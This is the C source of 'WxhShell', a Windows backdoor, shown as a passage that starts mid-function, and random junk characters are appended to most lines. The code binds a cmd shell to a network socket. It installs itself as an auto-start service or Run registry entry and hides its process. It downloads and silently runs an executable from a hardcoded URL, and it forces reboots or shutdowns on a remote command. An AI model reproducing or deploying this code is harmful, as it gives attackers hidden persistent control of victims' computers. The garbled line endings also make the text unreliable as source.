    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ahq^dx#o  
    if(Boot(SHUTDOWN)) #PA"l` "  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6CU8BDN  
    else { 1.H"$D>TC  
    closesocket(wsh); ^HL#)fK2I  
    ExitThread(0); XfsCu>  
    } X>|.BvY|  
    break; ]3QQ"HLcp  
    } _L!"3  
  // 获取shell D\V}Eo';6  
  case 's': { 73.o{V  
    CmdShell(wsh); 6v1#i  
    closesocket(wsh); %9NGVC  
    ExitThread(0); g}qK$>EPS  
    break; vFCp= 8h  
  } oa1a5+ A  
  // 退出 ,?#-1uIGL>  
  case 'x': { +dh]k=6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y_QxJ~6t  
    CloseIt(wsh); y9)l,@D  
    break; Qw5M\   
    } C.(ZXU7  
  // 离开 `?6m0|\@  
  case 'q': { L6A6|+H%E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sq)Nn&5A  
    closesocket(wsh); sX_^H%fd  
    WSACleanup(); t8)Fkx#8}  
    exit(1); {fN_itn  
    break; TPEZ"%=Hg  
        } iZyk2kc  
  } JrL/LGY  
  } "iZ-AG!C  
IW BVfN->}  
  // 提示信息 Z21XlbK   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (%fGS.TR  
} vP~F+z @g  
  } dF.T6b  
MB |(,{S  
  return; 3P\I;xM  
} &1':s|c  
s_*eX N  
// shell模块句柄 2iG(v._x  
int CmdShell(SOCKET sock) (wY% $kW4  
{ #/jHnRrQ   
STARTUPINFO si; 8m*\"_S{  
ZeroMemory(&si,sizeof(si)); eO9nn9lql  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g*tLqV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wRiP5U,  
PROCESS_INFORMATION ProcessInfo; iN {TTy  
char cmdline[]="cmd"; h.Dk>H_G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r?+u}uH  
  return 0; `Ys })Pl  
} ~fUSmc  
R$3JbR.  
// 自身启动模式 *nC,= 2  
int StartFromService(void) h?1pGz)[C  
{ lb6s3b  
typedef struct oF6MV&q/  
{ D&^:hs@  
  DWORD ExitStatus; {Jy%h8n*  
  DWORD PebBaseAddress; \rN_CBM  
  DWORD AffinityMask; UQdQtj1'  
  DWORD BasePriority; Cg|uHI*  
  ULONG UniqueProcessId; 88*RlxU  
  ULONG InheritedFromUniqueProcessId; d!LV@</  
}   PROCESS_BASIC_INFORMATION; ( gFA? aD<  
&sNID4FR  
PROCNTQSIP NtQueryInformationProcess; aw4+1.xy  
T8(wzs  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GSFT(XX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t/D Q<B_  
1*jL2P]D  
  HANDLE             hProcess; :hr@>Y~r  
  PROCESS_BASIC_INFORMATION pbi; k2WO*xa*  
~R8yj(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @} Z/{Z[@  
  if(NULL == hInst ) return 0; V$_0VN'+Z  
@ixX?N)V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #<e7 Y0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Rj&7|z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Gehl/i-  
U+RPn?Q  
  if (!NtQueryInformationProcess) return 0; H'`(|$:|  
mT>p:G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PmY:sJ{M  
  if(!hProcess) return 0; E 9:hK  
bOdv]nQ1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %Uk/P  
stG&(M  
  CloseHandle(hProcess); &sgwY  
*u>\&`h=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4|L@oTzx  
if(hProcess==NULL) return 0; ,+BgY4OY  
.:raeDrd  
HMODULE hMod; oQXkMKZ  
char procName[255]; vWovR`  
unsigned long cbNeeded; Os!22 O  
>PVi 3S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @[RY8~  
*Kkw,qp/  
  CloseHandle(hProcess); 'nS3o.}  
6V?RES;X  
if(strstr(procName,"services")) return 1; // 以服务启动 4<K`yU]"  
*4:/<wI!  
  return 0; // 注册表启动 xwxjj  
} z{jAt6@7  
D5b _m|7%  
// 主模块 c]r|I %D  
int StartWxhshell(LPSTR lpCmdLine) NKKO A  
{ ?t42=nvf  
  SOCKET wsl; NGs9Jke2  
BOOL val=TRUE; oI~Qo*4eh  
  int port=0; zs:7!  
  struct sockaddr_in door; j1C.#-P[  
wg.fo:Q  
  if(wscfg.ws_autoins) Install(); PZR%8 m}]u  
@R&D["!  
port=atoi(lpCmdLine); |Z^g\l.j{  
` W>B8  
if(port<=0) port=wscfg.ws_port; q$rA-`jw  
vUs7#*  
  WSADATA data; O*{H;7Pv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PI \,`^)y  
o#) !b:/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2vN(z %p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jFT V\|C  
  door.sin_family = AF_INET; 26VdRy{[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2H+DT-hK  
  door.sin_port = htons(port); :t S"sM  
WG luY>C;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ee^_Dh4  
closesocket(wsl); :*'?Ac ?  
return 1; Jwt I(>cI  
} Q3q.*(#  
faOWhIG  
  if(listen(wsl,2) == INVALID_SOCKET) { AJd.K'=8  
closesocket(wsl); *9ub.:EUwV  
return 1; si_ HN{  
} m=,c,*>  
  Wxhshell(wsl); Q_.c~I}yV  
  WSACleanup(); /j/%wT2m  
08?MS_  
return 0; Z*>/@J}  
f$|v0Xs  
} $2CGRhC  
0_mvz%[J  
// 以NT服务方式启动 xt,L* B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z:J.FI@  
{ ^p zxwt  
DWORD   status = 0; 0P40K  
  DWORD   specificError = 0xfffffff; ]"g >>N  
W.D3$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `A _8nW)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,Z7Z!.TY!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s [F' h-y  
  serviceStatus.dwWin32ExitCode     = 0; =G F  
  serviceStatus.dwServiceSpecificExitCode = 0; x <\D@X^  
  serviceStatus.dwCheckPoint       = 0; 4 6lEJ  
  serviceStatus.dwWaitHint       = 0; hYXZ21(K#  
a`~eC)T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H!.D2J   
  if (hServiceStatusHandle==0) return; )B$P#dP)i  
#]DZrD&q  
status = GetLastError(); xqC<p`?4  
  if (status!=NO_ERROR) ?b7g9 G4  
{ Q_0x6]/!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [H%?jTQ  
    serviceStatus.dwCheckPoint       = 0; LsQ8sFP_"  
    serviceStatus.dwWaitHint       = 0; * m&: Yje  
    serviceStatus.dwWin32ExitCode     = status; `-EH0'w~"  
    serviceStatus.dwServiceSpecificExitCode = specificError; |ch^eb^7"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V<V\0n!0  
    return; .!8X]trEg  
  } i;hc]fYb=K  
niHL/\7u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jJ"EGFa8  
  serviceStatus.dwCheckPoint       = 0; s P4 ,S(+e  
  serviceStatus.dwWaitHint       = 0; 71"JL",  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zMYd|2bc  
} "I}Z2  
l5Wa'~0qA  
// 处理NT服务事件,比如:启动、停止 ?5v5:U(A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {I-a;XBX  
{ mHEf-6|C`  
switch(fdwControl) 7 Jx-W|  
{ C{hcK 1-K  
case SERVICE_CONTROL_STOP: <j 9Mt=8M  
  serviceStatus.dwWin32ExitCode = 0; "x|NG,<[9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %L13Jsw  
  serviceStatus.dwCheckPoint   = 0; l \^nC2  
  serviceStatus.dwWaitHint     = 0; +Sd,l>8\  
  { G(0y|Eq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i`KZ,   
  } IbJ[Og^Qyu  
  return;  4SffP/  
case SERVICE_CONTROL_PAUSE: -yAnn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f3TlJ!!U  
  break; K>cz63}S  
case SERVICE_CONTROL_CONTINUE: L=HVdeE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .y7)XLC  
  break; [+l  
case SERVICE_CONTROL_INTERROGATE: 6Z7pztk  
  break; N~$Zeq=  
}; ~kYqGH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2yQ}Lxr(  
} y2#>c*  
E!I  
// 标准应用程序主函数 zzfn0g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +~4bB$6*4)  
{ R@<_Hb;Aeb  
0/:=wn^pg  
// 获取操作系统版本 &oeN#5Es8C  
OsIsNt=GetOsVer(); zd9]qo  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YXzZ-28,<  
m@Ip^]9ry  
  // 从命令行安装 fNqmTRu  
  if(strpbrk(lpCmdLine,"iI")) Install(); O5^J!(.O\Z  
iTLW<wG  
  // 下载执行文件 {b,2;w}95  
if(wscfg.ws_downexe) { MxgLzt Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Vj=Xcn#*8  
  WinExec(wscfg.ws_filenam,SW_HIDE); [X }@Ct6  
} *vRI)>wU  
j6e}7  
if(!OsIsNt) { )8$:DW;  
// 如果时win9x,隐藏进程并且设置为注册表启动 {x[;5TM  
HideProc(); X7H'Uk9:  
StartWxhshell(lpCmdLine); `8Jq~u6_Z  
} Vm~qk  
else '(*&Ax  
  if(StartFromService()) AbF(MK=i  
  // 以服务方式启动 om}/f`  
  StartServiceCtrlDispatcher(DispatchTable); skI(]BDf  
else $7UoL,N>  
  // 普通方式启动 /bmXDDYH4  
  StartWxhshell(lpCmdLine); _hy{F%}  
5 o#<`_=J  
return 0;  dd<:#c9  
} BIV<ti$.  
i,#k}CNu  
=naR{pI  
AfRW=&xdT  
=========================================== X&(<G  
N-2([v  
FjZc#\^9  
E.J 0fwyT  
`ke3+%uj o  
9c6czirwR^  
" J3e:Y!  
/2;dH]o0  
#include <stdio.h> ]cm6 |`pz  
#include <string.h> Xnv@H:$mxk  
#include <windows.h> |(V?,^b^ro  
#include <winsock2.h> pWs\.::B  
#include <winsvc.h> +Qh[sGDdY  
#include <urlmon.h> F$Im9T6  
D XV@DQ  
#pragma comment (lib, "Ws2_32.lib") e Om< !H  
#pragma comment (lib, "urlmon.lib") <nWKR,  
, 3X: )  
#define MAX_USER   100 // 最大客户端连接数 N] 14  
#define BUF_SOCK   200 // sock buffer F{k$Atb?g/  
#define KEY_BUFF   255 // 输入 buffer +T0op4  
Q2/MnM  
#define REBOOT     0   // 重启 L[?nST18%  
#define SHUTDOWN   1   // 关机 H8@8MFz\  
"z^(dF|  
#define DEF_PORT   5000 // 监听端口 q,B3ru.?d  
e>l,(ql  
#define REG_LEN     16   // 注册表键长度 FR x6c  
#define SVC_LEN     80   // NT服务名长度 E *F*nd]K  
9>by~4An?  
// 从dll定义API A4G,}r *n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (CdJ;-@D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VF)uu[ f9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y1{B c<tC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RU2c*q$^X  
xvU]jl6d  
// wxhshell配置信息 d0(Cn}m"c  
struct WSCFG { mxQR4"]jY  
  int ws_port;         // 监听端口 c $0_R;4/  
  char ws_passstr[REG_LEN]; // 口令 P+<BOG|m  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^P`NMSw  
  char ws_regname[REG_LEN]; // 注册表键名 wV\%R,bZj  
  char ws_svcname[REG_LEN]; // 服务名 i S%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 43zUN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +TC1nkX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CqqXVF3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R7K!A %  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .xO _E1Ku;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !;%y$$gxh  
/XcDYMKgh  
}; *5'.!g('  
H@{Objh 1  
// default Wxhshell configuration 4j> fI)FUW  
struct WSCFG wscfg={DEF_PORT, lT]=&m>  
    "xuhuanlingzhe", `} =yG_!A  
    1, g \Wj+el}  
    "Wxhshell", 9UwLF`XM  
    "Wxhshell", #G_F`&  
            "WxhShell Service", Sw)i1S9  
    "Wrsky Windows CmdShell Service", ncv7t|ZN  
    "Please Input Your Password: ", !z"Nv1!~|  
  1, ?"6Ov ]  
  "http://www.wrsky.com/wxhshell.exe", ) Qq'Wp3i  
  "Wxhshell.exe" W>B^S  
    }; Ekv89swl`i  
<I; 5wv  
// 消息定义模块 B2 c@kru  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e,HMwD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wW:7y>z)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Wta]BX  
char *msg_ws_ext="\n\rExit."; ~-TOsRvxR  
char *msg_ws_end="\n\rQuit."; 8pXKO"u],  
char *msg_ws_boot="\n\rReboot...";  1,,|MW  
char *msg_ws_poff="\n\rShutdown..."; 9Bz0MUbrLl  
char *msg_ws_down="\n\rSave to "; <l$P&jSF3  
A\z`c e!  
char *msg_ws_err="\n\rErr!"; {Oj7  
char *msg_ws_ok="\n\rOK!"; |uI?ySF  
=m7H)z)i*J  
char ExeFile[MAX_PATH]; igDG}q3jG  
int nUser = 0; `>6T&  
HANDLE handles[MAX_USER]; a2`%gh W3  
int OsIsNt; ]H ~Y7\N-v  
!9;)N,  
SERVICE_STATUS       serviceStatus; =O!|IAe#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /.R<,/gj  
X\Y}oa."A  
// 函数声明 qI%&ay"/  
int Install(void); V1B(|P  
int Uninstall(void); _qn?2u3mnR  
int DownloadFile(char *sURL, SOCKET wsh); \M{[f=6llh  
int Boot(int flag); Fj1NN  
void HideProc(void);  ?CP2AK  
int GetOsVer(void); NjX[;e-u  
int Wxhshell(SOCKET wsl); 2Il8f  
void TalkWithClient(void *cs); AF}gSNX  
int CmdShell(SOCKET sock); h[kU<mU"T  
int StartFromService(void); x5}lgyt  
int StartWxhshell(LPSTR lpCmdLine); )I`if(fG  
rn8cdM N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xzsdG?P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {tw+#}T a  
mT @ nn,  
// 数据结构和表定义 n[,XU|2  
SERVICE_TABLE_ENTRY DispatchTable[] = |a-fE]{7  
{ 6)qp*P$L  
{wscfg.ws_svcname, NTServiceMain}, rh!;|xB|+  
{NULL, NULL} #(KDjnP[  
}; HeLG?6  
p@~ic#X  
// 自我安装 irbw'^;y  
int Install(void) >oGiIYq  
{ O^Q ,-=tA\  
  char svExeFile[MAX_PATH]; c6&Q^p|CF  
  HKEY key; 0 Y>M=|  
  strcpy(svExeFile,ExeFile); -fy9<  
B4h5[fPX  
// 如果是win9x系统,修改注册表设为自启动 o.m:3!RW  
if(!OsIsNt) { B(_WZa!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;f1qLI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tGjhHp8}c  
  RegCloseKey(key); D+JAK!W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h!gk s-0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WBr59@V  
  RegCloseKey(key); :g6n,p_#  
  return 0; jZteooJG|  
    } s@8w-]"  
  } -TO\'^][X  
} w_hHfZ9E  
else { ALc`t(..}A  
&c>?~-!W  
// 如果是NT以上系统,安装为系统服务 / 3!fA=+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tyh@ ^7  
if (schSCManager!=0) %eg+F  
{ :Y P#  
  SC_HANDLE schService = CreateService M}O}:1Par  
  ( T/pqSmVpM  
  schSCManager, 15U(={  
  wscfg.ws_svcname, ,ho3  
  wscfg.ws_svcdisp, q{0R=jb  
  SERVICE_ALL_ACCESS, :|+Qe e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oD9^ID+  
  SERVICE_AUTO_START, ]e'fa/I  
  SERVICE_ERROR_NORMAL, JH8}Ru%Z  
  svExeFile, l{Dct\ #s  
  NULL, I_1e?\  
  NULL, I%j_"r9-I  
  NULL, PPkx4S_>  
  NULL, =K\r-'V  
  NULL *=AqM14 @  
  ); Fv74bC %  
  if (schService!=0) h[o6-f<D  
  { zZ=pP5y8  
  CloseServiceHandle(schService); #P<N^[m  
  CloseServiceHandle(schSCManager); Hnk:K9u.B:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "ZwKk G  
  strcat(svExeFile,wscfg.ws_svcname); EV pi^>M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #|[ M?3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PjKEC N  
  RegCloseKey(key); ^r6!l.  
  return 0; ;&V s4  
    } UCW V2Mu  
  } vS\Nd1~?  
  CloseServiceHandle(schSCManager); zcrY>t#l  
} |`Or'%|PR  
} J(DN !  
9KWuN:Sg  
return 1; LbEM^ D  
} UT0){%2@  
[NMVoBvG  
// 自我卸载 u .f= te  
int Uninstall(void) FMA6_fju4  
{ zk-.u}RBFG  
  HKEY key; w| `h[/,  
js iSg/  
if(!OsIsNt) { WHXj8*]6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SZaS;hhhHu  
  RegDeleteValue(key,wscfg.ws_regname); [S5\#=_4S  
  RegCloseKey(key); ljTBvU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >zAUW[]C:I  
  RegDeleteValue(key,wscfg.ws_regname); 86]p#n_>Fv  
  RegCloseKey(key); hj'(*ND7z  
  return 0; &xRo^iV?  
  } Q></`QWpoB  
} L:XC  
} wO?{?+I`q  
else { "&/-N[is  
c\a_VRN>r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '5&s=M_  
if (schSCManager!=0) .<@8gNm3  
{ [ ol9|sdu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kuyjnSo9i  
  if (schService!=0) jC bV,0)^  
  { _SW3_8SuM.  
  if(DeleteService(schService)!=0) { BauU{:Sh  
  CloseServiceHandle(schService); C8 \5A8c  
  CloseServiceHandle(schSCManager); M5gWD==uP  
  return 0; -f*P nxg  
  } 7}M2bH} \K  
  CloseServiceHandle(schService); O T.*pk+<)  
  } X}+>!%W!}  
  CloseServiceHandle(schSCManager); QQWadVQo  
} wF((  
} jv&*uYm  
lOtDqb&  
return 1; 0lhVqy}:}o  
} R(q~ -3~  
&=VDASEu  
// 从指定url下载文件 +$g}4  
int DownloadFile(char *sURL, SOCKET wsh) %CK^Si%+  
{ ^fZ&QK  
  HRESULT hr; (sh)TBb5  
char seps[]= "/"; ?@E!u|]K  
char *token;  }Y;K~J  
char *file; gNt(,_]ZR  
char myURL[MAX_PATH]; 0`^&9nR  
char myFILE[MAX_PATH]; xlQBe-Wg  
H1} RWaJ  
strcpy(myURL,sURL); #O+),,WS  
  token=strtok(myURL,seps); 6i1LjLB  
  while(token!=NULL) #Y$hNQQ$F  
  { \otWd  
    file=token; 6I%5Q4Ll  
  token=strtok(NULL,seps); 30SW\@  
  } Ytl4kaYS  
EOCN&_Z;  
GetCurrentDirectory(MAX_PATH,myFILE); 6oGYnu;UZ  
strcat(myFILE, "\\"); Uu`9 "  
strcat(myFILE, file); Mnscb  
  send(wsh,myFILE,strlen(myFILE),0); gP;&e:/3  
send(wsh,"...",3,0); Q)IKOt;N]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  5~>z h  
  if(hr==S_OK) ZzSz%z_sE  
return 0; 8uWa=C)  
else 97}OL`y  
return 1; "'t0h{W r8  
.>WxDQIo  
} abyo4i5T  
NuQdSj_>  
// 系统电源模块 XT4{Pe7{[P  
int Boot(int flag) (L/_^!ZX  
{ O6LS(5j2  
  HANDLE hToken; "vOwd.(?N  
  TOKEN_PRIVILEGES tkp; 2.l:O2<  
sVOyT*GY  
  if(OsIsNt) { |a Vn&qK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R=QZgpR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  |'B7v i)  
    tkp.PrivilegeCount = 1; d>mo~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *-8&[D0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tP$<UKtU  
if(flag==REBOOT) { R}!:'^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d'NIV9P`j]  
  return 0; UWd=!h^dt  
} ui/a|Q  
else { LGw$v[wb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bcE._9@@  
  return 0; 7t0e r'VC  
} Pu"P9  
  } 1pgU}sRk  
  else { QC}CRkp  
if(flag==REBOOT) { 'Wm x)0)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |R/%D%_g  
  return 0; %5"9</a&G  
} nH[yJGZYSA  
else { Wa{`VS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @eKec1<  
  return 0; ddJe=PUb  
} /7Cc#P6  
} K3#@SY j  
8|l\E VV6  
return 1; ]H+8rY%+  
} n<z [J=I  
%D\[*  
// win9x进程隐藏模块 3 :<WY&9  
void HideProc(void) l*d(;AR  
{ T?ZRiR)@  
"hH.#5j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /rnu<Q#iH  
  if ( hKernel != NULL ) l 3ko?k  
  { -z)n?(pftm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z8K?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 42$VhdG  
    FreeLibrary(hKernel); Ch <[l8;K  
  } "&G/T ?4  
Ku5\]  
return; ,9zjFI  
} #P0&ewy  
Whm,F^  
// 获取操作系统版本 ) l:[^$=,  
int GetOsVer(void) iJ1"at  
{ $5aV:Z3P  
  OSVERSIONINFO winfo; z[L8$7L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !Prg_6 `  
  GetVersionEx(&winfo); Nfrw0b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1WxK#c-)  
  return 1; 3Q.#c,`jV  
  else PNgY >=Y  
  return 0; l rlgz[  
} W$hx,VEy`  
1\ o59Y  
// 客户端句柄模块 Yg%I?  
int Wxhshell(SOCKET wsl) Ezc?#<+7  
{ xr4 *{v  
  SOCKET wsh; 5q3JI  
  struct sockaddr_in client; gmw|H?]  
  DWORD myID; cQCSe,$ W  
tkeoNuAM  
  while(nUser<MAX_USER) ZxGJzakB5$  
{ }YGV\Nu  
  int nSize=sizeof(client); B~MU^ |v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n8~N$tDU  
  if(wsh==INVALID_SOCKET) return 1; #Z?A2r!1  
!Xf5e*1IS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `u3EU*~W  
if(handles[nUser]==0) BC&S>#\  
  closesocket(wsh); N{9v1`B  
else gc_:%ki  
  nUser++; Rr&h!YMb  
  } 2=,lcWr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5Dm.K?l;  
>%}C^gu)  
  return 0; 6m* QX+  
} 3]}D`Qs6  
% ?0:vn  
// 关闭 socket @vC4[:"pD}  
void CloseIt(SOCKET wsh) w'Y7IlC  
{ Xv ]W(f1  
closesocket(wsh); FtP0krO(  
nUser--; Xix L  R  
ExitThread(0); 5sj4;w[  
} 7zXvnxYE  
)WNzWUfn=z  
// 客户端请求句柄 }7|1  
void TalkWithClient(void *cs)  HSjlD{R  
{ 3`t#UY).F  
Kr gFKRgGj  
  SOCKET wsh=(SOCKET)cs; hZ?Rof  
  char pwd[SVC_LEN]; 7Wf/$vRab  
  char cmd[KEY_BUFF]; 4[m`#  
char chr[1]; \ub7`01  
int i,j; % L$bf#  
UOv+T8f=  
  while (nUser < MAX_USER) { k9sh @ENy  
vYwYQG  
if(wscfg.ws_passstr) { %KC yb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F~R;n_IJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hgYZOwQ  
  //ZeroMemory(pwd,KEY_BUFF); :3v}kLO7|  
      i=0; ^S4d:-.3  
  while(i<SVC_LEN) { b[r8 e  
PCHu #5j_a  
  // 设置超时 w1Nm&}V  
  fd_set FdRead; g0xuxK;9c  
  struct timeval TimeOut; "h{q#~s  
  FD_ZERO(&FdRead); kj#?whK6~  
  FD_SET(wsh,&FdRead); .F4>p=r  
  TimeOut.tv_sec=8; GFj{K  
  TimeOut.tv_usec=0; =)0,#9k U]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }NHaCG[,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %<\vGqsM  
mitHT :%r2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8g@<d ^8@  
  pwd=chr[0]; <GS^  
  if(chr[0]==0xd || chr[0]==0xa) { %P;lv*v.  
  pwd=0; bn|I> e  
  break; L*Tj^q!t+  
  } 27eooY1  
  i++; jD$,.AVvz  
    } "@e3EX7h  
=_.l8IYX$%  
  // 如果是非法用户,关闭 socket {fPy=,>Nb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f(>p=%=O  
} J{.{f  
0.`/X66;V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z;h t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NO*u9YH?  
((YMVe  
while(1) { wL+s8#{  
QyEn pZ8?a  
  ZeroMemory(cmd,KEY_BUFF); *RI]?j%B  
(!ux+K  
      // 自动支持客户端 telnet标准   )tC5Hijq,  
  j=0; 8 }I$'x  
  while(j<KEY_BUFF) { LdYB7T,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v> LIvi|]  
  cmd[j]=chr[0]; h9t$Uz^N  
  if(chr[0]==0xa || chr[0]==0xd) { MU`1LHg  
  cmd[j]=0; lUOF4U&r  
  break; [T8WThs  
  } r<9Iof4  
  j++;  L O}@dL  
    } f}o\*|k_|  
td(li.,  
  // 下载文件 ef 8s<5"4  
  if(strstr(cmd,"http://")) { AHD=<7Rs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]0Y4U7W  
  if(DownloadFile(cmd,wsh)) ,82S=N5V!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P{8iJ`rBG  
  else Y>dF5&(kb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /K+r? ]kf  
